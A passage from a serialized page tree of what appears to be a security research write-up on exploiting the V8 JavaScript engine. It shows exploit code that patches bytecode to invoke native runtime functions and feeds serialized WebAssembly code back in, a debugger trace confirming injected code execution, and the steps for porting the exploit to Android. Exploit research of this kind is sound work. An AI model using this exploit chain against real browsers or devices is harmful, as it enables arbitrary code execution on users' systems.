type":23,"tag":314,"props":134611,"children":134612},{"style":1054},[134613],{"type":28,"value":134614},"204",{"type":23,"tag":314,"props":134616,"children":134617},{"style":338},[134618],{"type":28,"value":778},{"type":23,"tag":314,"props":134620,"children":134621},{"style":1054},[134622],{"type":28,"value":44028},{"type":23,"tag":314,"props":134624,"children":134625},{"style":338},[134626],{"type":28,"value":778},{"type":23,"tag":314,"props":134628,"children":134629},{"style":1054},[134630],{"type":28,"value":134631},"137",{"type":23,"tag":314,"props":134633,"children":134634},{"style":338},[134635],{"type":28,"value":778},{"type":23,"tag":314,"props":134637,"children":134638},{"style":1054},[134639],{"type":28,"value":134640},"229",{"type":23,"tag":314,"props":134642,"children":134643},{"style":338},[134644],{"type":28,"value":778},{"type":23,"tag":314,"props":134646,"children":134647},{"style":1054},[134648],{"type":28,"value":134649},"106",{"type":23,"tag":314,"props":134651,"children":134652},{"style":338},[134653],{"type":28,"value":778},{"type":23,"tag":314,"props":134655,"children":134656},{"style":1054},[134657],{"type":28,"value":3330},{"type":23,"tag":314,"props":134659,"children":134660},{"style":338},[134661],{"type":28,"value":778},{"type":23,"tag":314,"props":134663,"children":134664},{"style":1054},[134665],{"type":28,"value":134666},"86",{"type":23,"tag":314,"props":134668,"children":134669},{"style":338},[134670],{"type":28,"value":778},{"type":23,"tag":314,"props":134672,"children":134673},{"style":1054},[134674],{"type":28,"value":44028},{"type":23,"tag":314,"props":134676,"children":134677},{"style":338},[134678],{"type":28,"value":778},{"type":23,"tag":314,"props":134680,"children":134681},{"style":1054},[134682],{"type":28,"value":134683},"139",{"type":23,"tag":314,"props":134685,"children":134686},{"style":338},[134687],{"type":28,"value":778},{"type":23,"tag":314,"props":134689,"children":134690},{"style":1054},[134691],{"type":28,"value":134640},{"type":23,"tag":314,"props":134693,"children":134694},{"style":338},[134695],{"type":28,"value":778},{"type":23,"tag":314,"props":134697,"children":134698},{"style":1054},[134699],{"type":28,"value":134700},"93",{"type":23,"tag":314,"props":134702,"children":134703},{"style":338},[134704],{"type":28,"value":1870},{"type":23,"tag":314,"props":134706,"children":134707},{"class":316,"line":1351},[134708,134713,134717,134721,134725,134729,134733,134737,134741,134745,134749,134753,134757,134761,134765,134769,134773,134777,134781,134785,134789,134793,134797,134801,134805,134809,134813,134817,134821,134825,134829,134833,134837,134841,134845,134849,134853,134857,134861,134865,134869,134873,134877,134881,134885,134889,134893,134897,134901,134905,134909,134913,134917,134921,134925,134929,134933,134937,134941,134945],{"type":23,"tag":314,"props":134709,"children":134710},{"style":1054},[134711],{"type":28,"value":134712}," 195",{"type":23,"tag":314,"props":134714,"children":134715},{"style":338},[134716],{"type":28,"value":778},{"type":23,"tag":314,"props":134718,"children":134719},{"style":1054},[134720],{"type":28,"value":43557},{"type":23,"tag":314,"props":134722,"children":134723},{"style":338},[134724],{"type":28,"value":778},{"type":23,"tag":314,"props":134726,"children":134727},{"style":1054},[134728],{"type":28,"value":58865},{"type":23,"tag":314,"props":134730,"children":134731},{"style":338},[134732],{"type":28,"value":778},{"type":23,"tag":314,"props":134734,"children":134735},{"style":1054},[134736],{"type":28,"value":95919},{"type":23,"tag":314,"props":134738,"children":134739},{"style":338},[134740],{"type":28,"value":778},{"type":23,"tag":314,"props":134742,"children":134743},{"style":1054},[134744],{"type":28,"value":1600},{"type":23,"tag":314,"props":134746,"children":134747},{"style":338},[134748],{"type":28,"value":778},{"type":23,"tag":314,"props":134750,"children":134751},{"style":1054},[134752],{"type":28,"value":1567},{"type":23,"tag":314,"props":134754,"children":134755},{"style":338},[134756],{"type":28,"value":778},{"type":23,"tag":314,"props":134758,"children":134759},{"style":1054},[134760],{"type":28,"value":1600},{"type":23,"tag":314,"props":134762,"children":134763},{"style":338},[134764],{"type":28,"value":778},{"type":23,"tag":314,"props":134766,"children":134767},{"style":1054},[134768],{"type":28,"value":1600},{"type":23,"tag":314,"props":134770,"children":134771},{"style":338},[134772],{"type":28,"value":778},{"type":23,"tag":314,"props":134774,"children":134775},{"style":1054},[134776],{"type":28,"value":1600},{"type":23,"tag":314,"props":134778,"children":134779},{"style":338},[134780],{"type":28,"value":778},{"type":23,"tag":314,"props":134782,"children":134783},{"style":1054},[134784],{"type":28,"value":1600},{"type":23,"tag":314,"props":134786,"children":134787},{"style":338},[134788],{"type":28,"value":778},{"type":23,"tag":314,"props":134790,"children":134791},{"style":1054},[134792],{"type":28,"value":1600},{"type":23,"tag":314,"props":134794,"children":134795},{"style":338},[134796],{"type":28,"value":778},{"type":23,"tag":314,"props":134798,"children":134799},{"style":1054},[134800],{"type":28,"value":1600},{"type":23,"tag":314,"props":134802,"children":134803},{"style":338},[134804],{"type":28,"value":778},{"type":23,"tag":314,"props":134806,"children":134807},{"style":1054},[134808],{"type":28,"value":1600},{"type":23,"tag":314,"props":134810,"children":134811},{"style":338},[134812],{"type":28,"value":778},{"type":23,"tag":314,"props":134814,"children":134815},{"style":1054},[134816],{"type":28,"value":1600},{"type":23,"tag":314,"props":134818,"children":134819},{"style":338},[134820],{"type":28,"value":778},{"type":23,"tag":314,"props":134822,"children":134823},{"style":1054},[134824],{"type":28,"value":1567},{"type":23,"tag":314,"props":134826,"children":134827},{"style":338},[134828],{"type":28,"value":778},{"type":23,"tag":314,"props":134830,"children":134831},{"style":1054},[134832],{"type":28,"value":1600},{"type":23,"tag":314,"props":134834,"children":134835},{"style":338},[134836],{"type":28,"value":778},{"type":23,"tag":314,"props":134838,"children":134839},{"style":1054},[134840],{"type":28,"value":1600},{"type":23,"tag":314,"props":134842,"children":134843},{"style":338},[134844],{"type":28,"value":778},{"type":23,"tag":314,"props":134846,"children":134847},{"style":1054},[134848],{"type":28,"value":1600},{"type":23,"tag":314,"props":134850,"children":134851},{"style":338},[134852],{"type":28,"value":778},{"type":23,"tag":314,"props":134854,"children":134855},{"style":1054},[134856],{"type":28,"value":1600},{"type":23,"tag":314,"props":134858,"children":134859},{"style":338},[134860],{"type":28,"value":778},{"type":23,"tag":314,"props":134862,"children":134863},{"style":1054},[134864],{"type":28,"value":1600},{"type":23,"tag":314,"props":134866,"children":134867},{"style":338},[134868],{"type":28,"value":778},{"type":23,"tag":314,"props":134870,"children":134871},{"style":1054},[134872],{"type":28,"value":1600},{"type":23,"tag":314,"props":134874,"children":134875},{"style":338},[134876],{"type":28,"value":778},{"type":23,"tag":314,"props":134878,"children":134879},{"style":1054},[134880],{"type":28,"value":1600},{"type":23,"tag":314,"props":134882,"children":134883},{"style":338},[134884],{"type":28,"value":778},{"type":23,"tag":314,"props":134886,"children":134887},{"style":1054},[134888],{"type":28,"value":1600},{"type":23,"tag":314,"props":134890,"children":134891},{"style":338},[134892],{"type":28,"value":778},{"type":23,"tag":314,"props":134894,"children":134895},{"style":1054},[134896],{"type":28,"value":1600},{"type":23,"tag":314,"props":134898,"children":134899},{"style":338},[134900],{"type":28,"value":778},{"type":23,"tag":314,"props":134902,"children":134903},{"style":1054},[134904],{"type":28,"value":1600},{"type":23,"tag":314,"props":134906,"children":134907},{"style":338},[134908],{"type":28,"value":778},{"type":23,"tag":314,"props":134910,"children":134911},{"style":1054},[134912],{"type":28,"value":1600},{"type":23,"tag":314,"props":134914,"children":134915},{"style":338},[134916],{"type":28,"value":778},{"type":23,"tag":314,"props":134918,"children":134919},{"style":1054},[134920],{"type":28,"value":1600},{"type":23,"tag":314,"props":134922,"children":134923},{"style":338},[134924],{"type":28,"value":778},{"type":23,"tag":314,"props":134926,"children":134927},{"style":1054},[134928],{"type":28,"value":1600},{"type":23,"tag":314,"props":134930,"children":134931},{"style":338},[134932],{"type":28,"value":778},{"type":23,"tag":314,"props":134934,"children":134935},{"style":1054},[134936],{"type":28,"value":1600},{"type":23,"tag":314,"props":134938,"children":134939},{"style":338},[134940],{"type":28,"value":778},{"type":23,"tag":314,"props":134942,"children":134943},{"style":1054},[134944],{"type":28,"value":1600},{"type":23,"tag":314,"props":134946,"children":134947},{"style":338},[134948],{"type":28,"value":1870},{"type":23,"tag":314,"props":134950,"children":134951},{"class":316,"line":1387},[134952,134956,134960,134964,134968,134972,134976,134980,134984,134988,134992,134996,135000,135004,135008,135012,135016,135020,135024,135028,135032,135036,135040,135044,135048,135052,135056,135060,135064,135068,135072,135076,135080,135084,135088,135092,135096,135100,135104,135108,135112,135116,135120,135124,135128,135132,135136,135140,135144,135148,135152,135157,135161,135165],{"type":23,"tag":314,"props":134953,"children":134954},{"style":1054},[134955],{"type":28,"value":133447},{"type":23,"tag":314,"props":134957,"children":134958},{"style":338},[134959],{"type":28,"value":778},{"type":23,"tag":314,"props":134961,"children":134962},{"style":1054},[134963],{"type":28,"value":1600},{"type":23,"tag":314,"props":134965,"children":134966},{"style":338},[134967],{"type":28,"value":778},{"type":23,"tag":314,"props":134969,"children":134970},{"style":1054},[134971],{"type":28,"value":1600},{"type":23,"tag":314,"props":134973,"children":134974},{"style":338},[134975],{"type":28,"value":778},{"type":23,"tag":314,"props":134977,"children":134978},{"style":1054},[134979],{"type":28,"value":1600},{"type":23,"tag":314,"props":134981,"children":134982},{"style":338},[134983],{"type":28,"value":778},{"type":23,"tag":314,"props":134985,"children":134986},{"style":1054},[134987],{"type":28,"value":1600},{"type":23,"tag":314,"props":134989,"children":134990},{"style":338},[134991],{"type":28,"value":778},{"type":23,"tag":314,"props":134993,"children":134994},{"style":1054},[134995],{"type":28,"value":1600},{"type":23,"tag":314,"props":134997,"children":134998},{"style":338},[134999],{"type":28,"value":778},{"type":23,"tag":314,"props":135001,"children":135002},{"style":1054},[135003],{"type":28,"value":1600},{"type":23,"tag":314,"props":135005,"children":135006},{"style":338},[135007],{"type":28,"value":778},{"type":23,"tag":314,"props":135009,"children":135010},{"style":1054},[135011],{"type":28,"value":1600},{"type":23,"tag":314,"props":135013,"children":135014},{"style":338},[135015],{"type":28,"value":778},{"type":23,"tag":314,"props":135017,"children":135018},{"style":1054},[135019],{"type":28,"value":1600},{"type":23,"tag":314,"props":135021,"children":135022},{"style":338},[135023],{"type":28,"value":778},{"type":23,"tag":314,"props":135025,"children":135026},{"style":1054},[135027],{"type":28,"value":1600},{"type":23,"tag":314,"props":135029,"children":135030},{"style":338},[135031],{"type":28,"value":778},{"type":23,"tag":314,"props":135033,"children":135034},{"style":1054},[135035],{"type":28,"value":1600},{"type":23,"tag":314,"props":135037,"children":135038},{"style":338},[135039],{"type":28,"value":778},{"type":23,"tag":314,"props":135041,"children":135042},{"style":1054},[135043],{"type":28,"value":1600},{"type":23,"tag":314,"props":135045,"children":135046},{"style":338},[135047],{"type":28,"value":778},{"type":23,"tag":314,"props":135049,"children":135050},{"style":1054},[135051],{"type":28,"value":1600},{"type":23,"tag":314,"props":135053,"children":135054},{"style":338},[135055],{"type":28,"value":778},{"type":23,"tag":314,"props":135057,"children":135058},{"style":1054},[135059],{"type":28,"value":1600},{"type":23,"tag":314,"props":135061,"children":135062},{"style":338},[135063],{"type":28,"value":778},{"type":23,"tag":314,"props":135065,"children":135066},{"style":1054},[135067],{"type":28,"value":1600},{"type":23,"tag":314,"props":135069,"children":135070},{"style":338},[135071],{"type":28,"value":778},{"type":23,"tag":314,"props":135073,"children":135074},{"style":1054},[135075],{"type":28,"value":1600},{"type":23,"tag":314,"props":135077,"children":135078},{"style":338},[135079],{"type":28,"value":778},{"type":23,"tag":314,"props":135081,"children":135082},{"style":1054},[135083],{"type":28,"value":1600},{"type":23,"tag":314,"props":135085,"children":135086},{"style":338},[135087],{"type":28,"value":778},{"type":23,"tag":314,"props":135089,"children":135090},{"style":1054},[135091],{"type":28,"value":1600},{"type":23,"tag":314,"props":135093,"children":135094},{"style":338},[135095],{"type":28,"value":778},{"type":23,"tag":314,"props":135097,"children":135098},{"style":1054},[135099],{"type":28,"value":1600},{"type":23,"tag":314,"props":135101,"children":135102},{"style":338},[135103],{"type":28,"value":778},{"type":23,"tag":314,"props":135105,"children":135106},{"style":1054},[135107],{"type":28,"value":1600},{"type":23,"tag":314,"props":135109,"children":135110},{"style":338},[135111],{"type":28,"value":778},{"type":23,"tag":314,"props":135113,"children":135114},{"style":1054},[135115],{"type":28,"value":1600},{"type":23,"tag":314,"props":135117,"children":135118},{"style":338},[135119],{"type":28,"value":778},{"type":23,"tag":314,"props":135121,"children":135122},{"style":1054},[135123],{"type":28,"value":1600},{"type":23,"tag":314,"props":135125,"children":135126},{"style":338},[135127],{"type":28,"value":778},{"type":23,"tag":314,"props":135129,"children":135130},{"style":1054},[135131],{"type":28,"value":1600},{"type":23,"tag":314,"props":135133,"children":135134},{"style":338},[135135],{"type":28,"value":778},{"type":23,"tag":314,"props":135137,"children":135138},{"style":1054},[135139],{"type":28,"value":28671},{"type":23,"tag":314,"props":135141,"children":135142},{"style":338},[135143],{"type":28,"value":778},{"type":23,"tag":314,"props":135145,"children":135146},{"style":1054},[135147],{"type":28,"value":134700},{"type":23,"tag":314,"props":135149,"children":135150},{"style":338},[135151],{"type":28,"value":778},{"type":23,"tag":314,"props":135153,"children":135154},{"style":1054},[135155],{"type":28,"value":135156},"198",{"type":23,"tag":314,"props":135158,"children":135159},{"style":338},[135160],{"type":28,"value":778},{"type":23,"tag":314,"props":135162,"children":135163},{"style":1054},[135164],{"type":28,"value":1600},{"type":23,"tag":314,"props":135166,"children":135167},{"style":338},[135168],{"type":28,"value":1870},{"type":23,"tag":314,"props":135170,"children":135171},{"class":316,"line":1422},[135172],{"type":23,"tag":314,"props":135173,"children":135174},{"style":338},[135175],{"type":28,"value":133734},{"type":23,"tag":314,"props":135177,"children":135178},{"class":316,"line":1430},[135179,135183,135188,135192,135197,135201,135205,135209,135213,135217,135221],{"type":23,"tag":314,"props":135180,"children":135181},{"style":321},[135182],{"type":28,"value":7110},{"type":23,"tag":314,"props":135184,"children":135185},{"style":360},[135186],{"type":28,"value":135187}," r",{"type":23,"tag":314,"props":135189,"children":135190},{"style":354},[135191],{"type":28,"value":1237},{"type":23,"tag":314,"props":135193,"children":135194},{"style":332},[135195],{"type":28,"value":135196}," bug",{"type":23,"tag":314,"props":135198,"children":135199},{"style":338},[135200],{"type":28,"value":341},{"type":23,"tag":314,"props":135202,"children":135203},{"style":360},[135204],{"type":28,"value":133065},{"type":23,"tag":314,"props":135206,"children":135207},{"style":338},[135208],{"type":28,"value":778},{"type":23,"tag":314,"props":135210,"children":135211},{"style":360},[135212],{"type":28,"value":124393},{"type":23,"tag":314,"props":135214,"children":135215},{"style":338},[135216],{"type":28,"value":282},{"type":23,"tag":314,"props":135218,"children":135219},{"style":360},[135220],{"type":28,"value":124393},{"type":23,"tag":314,"props":135222,"children":135223},{"style":338},[135224],{"type":28,"value":1025},{"type":23,"tag":314,"props":135226,"children":135227},{"class":316,"line":1452},[135228,135233,135237,135241,135245,135249,135253,135257,135262,135266],{"type":23,"tag":314,"props":135229,"children":135230},{"style":360},[135231],{"type":28,"value":135232}," result",{"type":23,"tag":314,"props":135234,"children":135235},{"style":354},[135236],{"type":28,"value":1237},{"type":23,"tag":314,"props":135238,"children":135239},{"style":338},[135240],{"type":28,"value":2324},{"type":23,"tag":314,"props":135242,"children":135243},{"style":2284},[135244],{"type":28,"value":32164},{"type":23,"tag":314,"props":135246,"children":135247},{"style":360},[135248],{"type":28,"value":135187},{"type":23,"tag":314,"props":135250,"children":135251},{"style":338},[135252],{"type":28,"value":282},{"type":23,"tag":314,"props":135254,"children":135255},{"style":332},[135256],{"type":28,"value":56816},{"type":23,"tag":314,"props":135258,"children":135259},{"style":338},[135260],{"type":28,"value":135261},"()).",{"type":23,"tag":314,"props":135263,"children":135264},{"style":360},[135265],{"type":28,"value":38399},{"type":23,"tag":314,"props":135267,"children":135268},{"style":338},[135269],{"type":28,"value":2278},{"type":23,"tag":314,"props":135271,"children":135272},{"class":316,"line":1497},[135273,135277,135282,135286,135290,135294,135298,135302,135306,135310],{"type":23,"tag":314,"props":135274,"children":135275},{"style":321},[135276],{"type":28,"value":35437},{"type":23,"tag":314,"props":135278,"children":135279},{"style":360},[135280],{"type":28,"value":135281}," wasm_instance",{"type":23,"tag":314,"props":135283,"children":135284},{"style":354},[135285],{"type":28,"value":1237},{"type":23,"tag":314,"props":135287,"children":135288},{"style":321},[135289],{"type":28,"value":31180},{"type":23,"tag":314,"props":135291,"children":135292},{"style":360},[135293],{"type":28,"value":133048},{"type":23,"tag":314,"props":135295,"children":135296},{"style":338},[135297],{"type":28,"value":282},{"type":23,"tag":314,"props":135299,"children":135300},{"style":332},[135301],{"type":28,"value":133102},{"type":23,"tag":314,"props":135303,"children":135304},{"style":338},[135305],{"type":28,"value":341},{"type":23,"tag":314,"props":135307,"children":135308},{"style":360},[135309],{"type":28,"value":8333},{"type":23,"tag":314,"props":135311,"children":135312},{"style":338},[135313],{"type":28,"value":1025},{"type":23,"tag":314,"props":135315,"children":135316},{"class":316,"line":1539},[135317,135321,135325,135329,135333,135337,135341,135345,135349],{"type":23,"tag":314,"props":135318,"children":135319},{"style":321},[135320],{"type":28,"value":35437},{"type":23,"tag":314,"props":135322,"children":135323},{"style":360},[135324],{"type":28,"value":32219},{"type":23,"tag":314,"props":135326,"children":135327},{"style":354},[135328],{"type":28,"value":1237},{"type":23,"tag":314,"props":135330,"children":135331},{"style":360},[135332],{"type":28,"value":135281},{"type":23,"tag":314,"props":135334,"children":135335},{"style":338},[135336],{"type":28,"value":282},{"type":23,"tag":314,"props":135338,"children":135339},{"style":360},[135340],{"type":28,"value":37135},{"type":23,"tag":314,"props":135342,"children":135343},{"style":338},[135344],{"type":28,"value":282},{"type":23,"tag":314,"props":135346,"children":135347},{"style":360},[135348],{"type":28,"value":133151},{"type":23,"tag":314,"props":135350,"children":135351},{"style":338},[135352],{"type":28,"value":2278},{"type":23,"tag":314,"props":135354,"children":135355},{"class":316,"line":1548},[135356,135361],{"type":23,"tag":314,"props":135357,"children":135358},{"style":332},[135359],{"type":28,"value":135360}," f",{"type":23,"tag":314,"props":135362,"children":135363},{"style":338},[135364],{"type":28,"value":2926},{"type":23,"tag":314,"props":135366,"children":135367},{"class":316,"line":1584},[135368],{"type":23,"tag":314,"props":135369,"children":135370},{"style":338},[135371],{"type":28,"value":101237},{"type":23,"tag":24,"props":135373,"children":135374},{},[135375],{"type":28,"value":135376},"Running this in a debugger shows the expected breakpoint:",{"type":23,"tag":304,"props":135378,"children":135380},{"code":135379},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n 0x2ae46bfc183c add BYTE PTR [rax], al\n 0x2ae46bfc183e add BYTE PTR [rax], al\n 0x2ae46bfc1840 int3\n → 0x2ae46bfc1841 mov rbp, rsp\n",[135381],{"type":23,"tag":94,"props":135382,"children":135383},{"__ignoreMap":7},[135384],{"type":28,"value":135379},{"type":23,"tag":837,"props":135386,"children":135388},{"id":135387},"porting-to-android",[135389],{"type":28,"value":135390},"Porting to Android",{"type":23,"tag":24,"props":135392,"children":135393},{},[135394,135396,135401,135403,135408,135410,135415,135417,135423],{"type":28,"value":135395},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":23,"tag":94,"props":135397,"children":135399},{"className":135398},[],[135400],{"type":28,"value":132180},{"type":28,"value":135402}," fails. We cross-compiled ",{"type":23,"tag":94,"props":135404,"children":135406},{"className":135405},[],[135407],{"type":28,"value":131339},{"type":28,"value":135409}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":23,"tag":94,"props":135411,"children":135413},{"className":135412},[],[135414],{"type":28,"value":132180},{"type":28,"value":135416}," returned ",{"type":23,"tag":94,"props":135418,"children":135420},{"className":135419},[],[135421],{"type":28,"value":135422},"undefined",{"type":28,"value":282},{"type":23,"tag":24,"props":135425,"children":135426},{},[135427,135429,135434,135436,135441],{"type":28,"value":135428},"Instead, we modified the bytecode to call ",{"type":23,"tag":94,"props":135430,"children":135432},{"className":135431},[],[135433],{"type":28,"value":132206},{"type":28,"value":135435}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":23,"tag":94,"props":135437,"children":135439},{"className":135438},[],[135440],{"type":28,"value":132180},{"type":28,"value":282},{"type":23,"tag":304,"props":135443,"children":135445},{"code":135444,"language":34864,"meta":7,"className":34862,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n a1 + 0x03027a6c;\n throw 0x393e71a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[135446],{"type":23,"tag":94,"props":135447,"children":135448},{"__ignoreMap":7},[135449,135460,135504,135524,135540,135563,135590,135605],{"type":23,"tag":314,"props":135450,"children":135451},{"class":316,"line":317},[135452,135456],{"type":23,"tag":314,"props":135453,"children":135454},{"style":2284},[135455],{"type":28,"value":47581},{"type":23,"tag":314,"props":135457,"children":135458},{"style":338},[135459],{"type":28,"value":1449},{"type":23,"tag":314,"props":135461,"children":135462},{"class":316,"line":370},[135463,135467,135471,135475,135479,135483,135487,135492,135496,135500],{"type":23,"tag":314,"props":135464,"children":135465},{"style":360},[135466],{"type":28,"value":132447},{"type":23,"tag":314,"props":135468,"children":135469},{"style":338},[135470],{"type":28,"value":75870},{"type":23,"tag":314,"props":135472,"children":135473},{"style":1245},[135474],{"type":28,"value":132456},{"type":23,"tag":314,"props":135476,"children":135477},{"style":338},[135478],{"type":28,"value":282},{"type":23,"tag":314,"props":135480,"children":135481},{"style":332},[135482],{"type":28,"value":132465},{"type":23,"tag":314,"props":135484,"children":135485},{"style":338},[135486],{"type":28,"value":341},{"type":23,"tag":314,"props":135488,"children":135489},{"style":1054},[135490],{"type":28,"value":135491},"0x059301",{"type":23,"tag":314,"props":135493,"children":135494},{"style":354},[135495],{"type":28,"value":50506},{"type":23,"tag":314,"props":135497,"children":135498},{"style":1054},[135499],{"type":28,"value":3778},{"type":23,"tag":314,"props":135501,"children":135502},{"style":338},[135503],{"type":28,"value":132487},{"type":23,"tag":314,"props":135505,"children":135506},{"class":316,"line":380},[135507,135511,135515,135520],{"type":23,"tag":314,"props":135508,"children":135509},{"style":360},[135510],{"type":28,"value":132495},{"type":23,"tag":314,"props":135512,"children":135513},{"style":354},[135514],{"type":28,"value":1572},{"type":23,"tag":314,"props":135516,"children":135517},{"style":1054},[135518],{"type":28,"value":135519}," 0x03027a6c",{"type":23,"tag":314,"props":135521,"children":135522},{"style":338},[135523],{"type":28,"value":2278},{"type":23,"tag":314,"props":135525,"children":135526},{"class":316,"line":1091},[135527,135531,135536],{"type":23,"tag":314,"props":135528,"children":135529},{"style":2284},[135530],{"type":28,"value":34451},{"type":23,"tag":314,"props":135532,"children":135533},{"style":1054},[135534],{"type":28,"value":135535}," 0x393e71a",{"type":23,"tag":314,"props":135537,"children":135538},{"style":338},[135539],{"type":28,"value":2278},{"type":23,"tag":314,"props":135541,"children":135542},{"class":316,"line":1141},[135543,135547,135551,135555,135559],{"type":23,"tag":314,"props":135544,"children":135545},{"style":338},[135546],{"type":28,"value":46123},{"type":23,"tag":314,"props":135548,"children":135549},{"style":2284},[135550],{"type":28,"value":47661},{"type":23,"tag":314,"props":135552,"children":135553},{"style":338},[135554],{"type":28,"value":2324},{"type":23,"tag":314,"props":135556,"children":135557},{"style":360},[135558],{"type":28,"value":50705},{"type":23,"tag":314,"props":135560,"children":135561},{"style":338},[135562],{"type":28,"value":367},{"type":23,"tag":314,"props":135564,"children":135565},{"class":316,"line":1173},[135566,135570,135574,135578,135582,135586],{"type":23,"tag":314,"props":135567,"children":135568},{"style":360},[135569],{"type":28,"value":101196},{"type":23,"tag":314,"props":135571,"children":135572},{"style":338},[135573],{"type":28,"value":282},{"type":23,"tag":314,"props":135575,"children":135576},{"style":332},[135577],{"type":28,"value":101205},{"type":23,"tag":314,"props":135579,"children":135580},{"style":338},[135581],{"type":28,"value":341},{"type":23,"tag":314,"props":135583,"children":135584},{"style":1245},[135585],{"type":28,"value":132571},{"type":23,"tag":314,"props":135587,"children":135588},{"style":338},[135589],{"type":28,"value":1025},{"type":23,"tag":314,"props":135591,"children":135592},{"class":316,"line":1208},[135593,135597,135601],{"type":23,"tag":314,"props":135594,"children":135595},{"style":2284},[135596],{"type":28,"value":132583},{"type":23,"tag":314,"props":135598,"children":135599},{"style":360},[135600],{"type":28,"value":132588},{"type":23,"tag":314,"props":135602,"children":135603},{"style":338},[135604],{"type":28,"value":2278},{"type":23,"tag":314,"props":135606,"children":135607},{"class":316,"line":1216},[135608],{"type":23,"tag":314,"props":135609,"children":135610},{"style":338},[135611],{"type":28,"value":386},{"type":23,"tag":24,"props":135613,"children":135614},{},[135615,135617,135623,135625,135631,135633,135639,135641,135646,135648,135654,135656,135661,135662,135668],{"type":28,"value":135616},"Here, ",{"type":23,"tag":94,"props":135618,"children":135620},{"className":135619},[],[135621],{"type":28,"value":135622},"a1 + 0x03027a6c",{"type":28,"value":135624}," generates the bytes ",{"type":23,"tag":94,"props":135626,"children":135628},{"className":135627},[],[135629],{"type":28,"value":135630},"01 4b 6c 7a 02 03",{"type":28,"value":135632},", where ",{"type":23,"tag":94,"props":135634,"children":135636},{"className":135635},[],[135637],{"type":28,"value":135638},"0x6c",{"type":28,"value":135640}," is the ",{"type":23,"tag":94,"props":135642,"children":135644},{"className":135643},[],[135645],{"type":28,"value":132164},{"type":28,"value":135647}," opcode, ",{"type":23,"tag":94,"props":135649,"children":135651},{"className":135650},[],[135652],{"type":28,"value":135653},"0x027a",{"type":28,"value":135655}," is the function ID of ",{"type":23,"tag":94,"props":135657,"children":135659},{"className":135658},[],[135660],{"type":28,"value":132206},{"type":28,"value":5743},{"type":23,"tag":94,"props":135663,"children":135665},{"className":135664},[],[135666],{"type":28,"value":135667},"0x03",{"type":28,"value":135669}," is the register index holding its first argument.",{"type":23,"tag":24,"props":135671,"children":135672},{},[135673,135675,135680,135681,135686,135688,135693],{"type":28,"value":135674},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":23,"tag":94,"props":135676,"children":135678},{"className":135677},[],[135679],{"type":28,"value":132206},{"type":28,"value":557},{"type":23,"tag":94,"props":135682,"children":135684},{"className":135683},[],[135685],{"type":28,"value":133174},{"type":28,"value":135687},". To avoid patching the bytecode again to invoke ",{"type":23,"tag":94,"props":135689,"children":135691},{"className":135690},[],[135692],{"type":28,"value":133174},{"type":28,"value":135694},", we can force Turbofan to compile the target function like this:",{"type":23,"tag":304,"props":135696,"children":135698},{"code":135697,"language":34864,"meta":7,"className":34862,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n func();\n}\n",[135699],{"type":23,"tag":94,"props":135700,"children":135701},{"__ignoreMap":7},[135702,135710,135770,135782],{"type":23,"tag":314,"props":135703,"children":135704},{"class":316,"line":317},[135705],{"type":23,"tag":314,"props":135706,"children":135707},{"style":374},[135708],{"type":28,"value":135709},"// %WasmTierUpFunction(func);\n",{"type":23,"tag":314,"props":135711,"children":135712},{"class":316,"line":370},[135713,135717,135721,135725,135729,135733,135737,135741,135745,135749,135754,135758,135762,135766],{"type":23,"tag":314,"props":135714,"children":135715},{"style":2284},[135716],{"type":28,"value":2648},{"type":23,"tag":314,"props":135718,"children":135719},{"style":338},[135720],{"type":28,"value":2324},{"type":23,"tag":314,"props":135722,"children":135723},{"style":321},[135724],{"type":28,"value":11035},{"type":23,"tag":314,"props":135726,"children":135727},{"style":360},[135728],{"type":28,"value":2653},{"type":23,"tag":314,"props":135730,"children":135731},{"style":354},[135732],{"type":28,"value":1237},{"type":23,"tag":314,"props":135734,"children":135735},{"style":1054},[135736],{"type":28,"value":1201},{"type":23,"tag":314,"props":135738,"children":135739},{"style":338},[135740],{"type":28,"value":16466},{"type":23,"tag":314,"props":135742,"children":135743},{"style":360},[135744],{"type":28,"value":2993},{"type":23,"tag":314,"props":135746,"children":135747},{"style":354},[135748],{"type":28,"value":7971},{"type":23,"tag":314,"props":135750,"children":135751},{"style":1054},[135752],{"type":28,"value":135753}," 0x100000",{"type":23,"tag":314,"props":135755,"children":135756},{"style":338},[135757],{"type":28,"value":16466},{"type":23,"tag":314,"props":135759,"children":135760},{"style":360},[135761],{"type":28,"value":2993},{"type":23,"tag":314,"props":135763,"children":135764},{"style":354},[135765],{"type":28,"value":50520},{"type":23,"tag":314,"props":135767,"children":135768},{"style":338},[135769],{"type":28,"value":367},{"type":23,"tag":314,"props":135771,"children":135772},{"class":316,"line":380},[135773,135778],{"type":23,"tag":314,"props":135774,"children":135775},{"style":332},[135776],{"type":28,"value":135777}," func",{"type":23,"tag":314,"props":135779,"children":135780},{"style":338},[135781],{"type":28,"value":2926},{"type":23,"tag":314,"props":135783,"children":135784},{"class":316,"line":1091},[135785],{"type":23,"tag":314,"props":135786,"children":135787},{"style":338},[135788],{"type":28,"value":386},{"type":23,"tag":24,"props":135790,"children":135791},{},[135792],{"type":28,"value":135793},"Finally, running this code on the device:",{"type":23,"tag":304,"props":135795,"children":135797},{"code":135796,"language":34864,"meta":7,"className":34862,"style":7},"(async () => {\n var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n var mod = new WebAssembly.Module(wasm_code);\n var inst = new WebAssembly.Instance(mod);\n var func = inst.exports.shell;\n\n // %WasmTierUpFunction(func);\n for (let i = 0; i \u003C 0x100000; i++) {\n func();\n }\n\n let r = bug(mod);\n result = (await r.next()).value;\n console.log(result);\n\n let result_bytes = new Uint8Array(result);\n console.log('[' + result_bytes.join(', ') + 